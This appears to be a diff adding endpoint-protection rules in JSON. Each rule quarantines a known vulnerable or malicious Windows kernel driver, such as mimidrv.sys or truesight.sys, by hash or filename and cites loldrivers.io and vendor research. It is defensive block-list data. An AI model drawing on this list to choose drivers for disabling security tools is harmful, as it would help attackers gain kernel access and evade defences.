+  "id": "731d47d9-a017-5c36-8c12-4343ae84b791",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459215Z",
+  "creation_date": "2026-03-23T11:45:30.459218Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459227Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c54a5cd3386ac14725a07962562e9fdcefbb7be0d19803f9d71de24573de1e3",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7328f342-5d06-5eaf-b068-ce74ec11b350",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604986Z",
+  "creation_date": "2026-03-23T11:45:29.604988Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604994Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "48e385449293884fd8b960a5aafd638fd67b86a4e344ab8aa8b330c333e2f6de",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7331b3ad-2d92-52a9-b0de-2923f9512335",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466777Z",
+  "creation_date": "2026-03-23T11:45:30.466780Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466790Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "41ad660820c41fc8b1860b13dc1fea8bc8cb2faceb36ed3e29d40d28079d2b1f",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "733d2009-8fc2-5f88-9a2c-6a9bcadd11aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146923Z",
+  "creation_date": "2026-03-23T11:45:32.146927Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146935Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b2ff9ef50ae037bb003d7157ea8da008a48f715a78c644b5f027b070bf5eb049",
+  "comment": "Vulnerable Kernel Driver (aka CSAgent.sys) [https://www.loldrivers.io/drivers/ca6455d1-b06e-496c-be33-f89c41b27540/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73484597-63ac-5e39-8904-5c2d5ce45e55",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493347Z",
+  "creation_date": "2026-03-23T11:45:31.493349Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493354Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bfcc07c38577184a196241d9ec950a897283e9035f5691fd98ef0b8a4217fc95",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73493972-6467-5cd4-9ac3-b97ab76eb082",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606121Z",
+  "creation_date": "2026-03-23T11:45:29.606123Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606128Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6bfc0f425de9f4e7480aa2d1f2e08892d0553ed0df1c31e9bf3d8d702f38fa2e",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "734d7179-7067-54c2-b2f0-c9dd85c4cc10",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156483Z",
+  "creation_date": "2026-03-23T11:45:31.156485Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156491Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a54fd22d8f78a8ba931972bf703eda24671c6d892c1fb979c8902ee27202a120",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "734e34d7-746e-5d75-9128-8cf79408d400",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486230Z",
+  "creation_date": "2026-03-23T11:45:31.486234Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486244Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "54c6aaa465b70002a698d098850be2dc8fc24cc91dc8c60fc93f809b1ff34e8d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7360fccd-6978-5146-8d22-e6350ddc6209",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453313Z",
+  "creation_date": "2026-03-23T11:45:30.453316Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453325Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3140005ce5cac03985f71c29732859c88017df9d41c3761aa7c57bbcb7ad2928",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73720332-876e-5d5a-9788-80e5c2797fb1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490506Z",
+  "creation_date": "2026-03-23T11:45:31.490508Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490513Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d5b5e581f7148fabe40f58754b08c9ecf1d0a7d463243c97ec69dea86bf29a6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73743ef2-68f4-5751-8099-b0043b53bd69",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980498Z",
+  "creation_date": "2026-03-23T11:45:29.980500Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980506Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "30d737a6da29ad2fe035c0a5f1f7a423a8cd96b8f3dc9885fe95ef3333478dd7",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "737af276-81ed-5d37-aa7a-aa470290a730",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498550Z",
+  "creation_date": "2026-03-23T11:45:31.498553Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498561Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89ef99feca2c7e781e1a8986cb8367c4a46a90f9a4640e7b29756ff05851ec43",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73820eaf-499d-5319-b3d7-63f67d6d2ac6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606647Z",
+  "creation_date": "2026-03-23T11:45:29.606651Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606657Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c70f2a3b20ba75fd8d14daab331dfbf341c455cd6bcc1969092ec4559261bcf",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73883859-5576-5d8b-b231-250f9a6cf956",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977090Z",
+  "creation_date": "2026-03-23T11:45:29.977092Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977097Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c9532a354c24fd256c24534c554bca5a126414eb496dbd3223fe9486418df2ea",
+  "comment": "HP Hardware Diagnostic's EtdSupp vulnerable driver (aka etdsupp.sys) [https://github.com/alfarom256/HPHardwareDiagnostics-PoC] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "738a5fe3-89b7-5799-8e30-217cc112b6cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613807Z",
+  "creation_date": "2026-03-23T11:45:29.613808Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613814Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "410f02303292798ab2a8b3e7d253938b466e83071b15e7d3aaa25f4995b27187",
+  "comment": "Vulnerable Kernel Driver (aka Bs_Def.sys) [https://www.loldrivers.io/drivers/3ac0eda2-a844-4a9d-9cfa-c25a9e05d678/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "739178d9-a60a-5511-aa1d-d4a0f1820332",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819343Z",
+  "creation_date": "2026-03-23T11:45:30.819344Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819350Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c92df36fa57fd215aef78a016c6cf6bd535bb3472ce4eb07e403535daa96318c",
+  "comment": "Vulnerable Kernel Driver (aka hwdetectng.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73a0b036-fede-5775-900e-de25ef5ab872",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829182Z",
+  "creation_date": "2026-03-23T11:45:31.829186Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829195Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7dc7e4e72bcaa9e7b67f440a2d69b6656b9092ca1a2897fe14905826695432ee",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73a40aff-4771-5836-9e72-abb7a343aa27",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976119Z",
+  "creation_date": "2026-03-23T11:45:29.976121Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976126Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "filename",
+  "value": "systeminformer.sys",
+  "comment": "SystemInformer driver (aka systeminformer.sys, formerly known as kprocesshacker.sys) [https://github.com/winsiderss/systeminformer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73ad278c-5ee5-5ad1-a7bd-76016804d5d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622191Z",
+  "creation_date": "2026-03-23T11:45:29.622193Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622198Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "362c4f3dadc9c393682664a139d65d80e32caa2a97b6e0361dfd713a73267ecc",
+  "comment": "BioStar Racing GT EVO vulnerable driver (aka BS_RCIO64.sys) [CVE-2021-44852] [https://nephosec.com/biostar-exploit/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73bc7830-8325-5279-b26e-6103889f1b9c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983351Z",
+  "creation_date": "2026-03-23T11:45:29.983353Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983359Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d4335f4189240a3bcafa05fab01f0707cc8e3dd7a2998af734c24916d9e37ca8",
+  "comment": "Vulnerable Kernel Driver (aka kbdcap64.sys) [https://www.loldrivers.io/drivers/6a7d882b-3d9d-4334-be5f-2e29c6bf9ff8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73bf3515-24d6-536b-94c9-c8f90fede636",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817160Z",
+  "creation_date": "2026-03-23T11:45:30.817162Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817168Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c11dec1571253594d64619d8efc8c0212897be84a75a8646c578e665f58bf5d",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73ca0d88-49b7-5b9b-a3b4-bd8d6309c0b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478600Z",
+  "creation_date": "2026-03-23T11:45:30.478603Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478613Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b5d0849fc567c169176c2002dd358240d75ca0aacfca92c79d252006c6e0444e",
+  "comment": "Vulnerable Kernel Driver (aka vboxdrv.sys) [https://www.loldrivers.io/drivers/2da3a276-9e38-4ee6-903d-d15f7c355e7c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73cf54bb-309c-5fdc-96b7-a0ff25497176",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456219Z",
+  "creation_date": "2026-03-23T11:45:30.456222Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456231Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
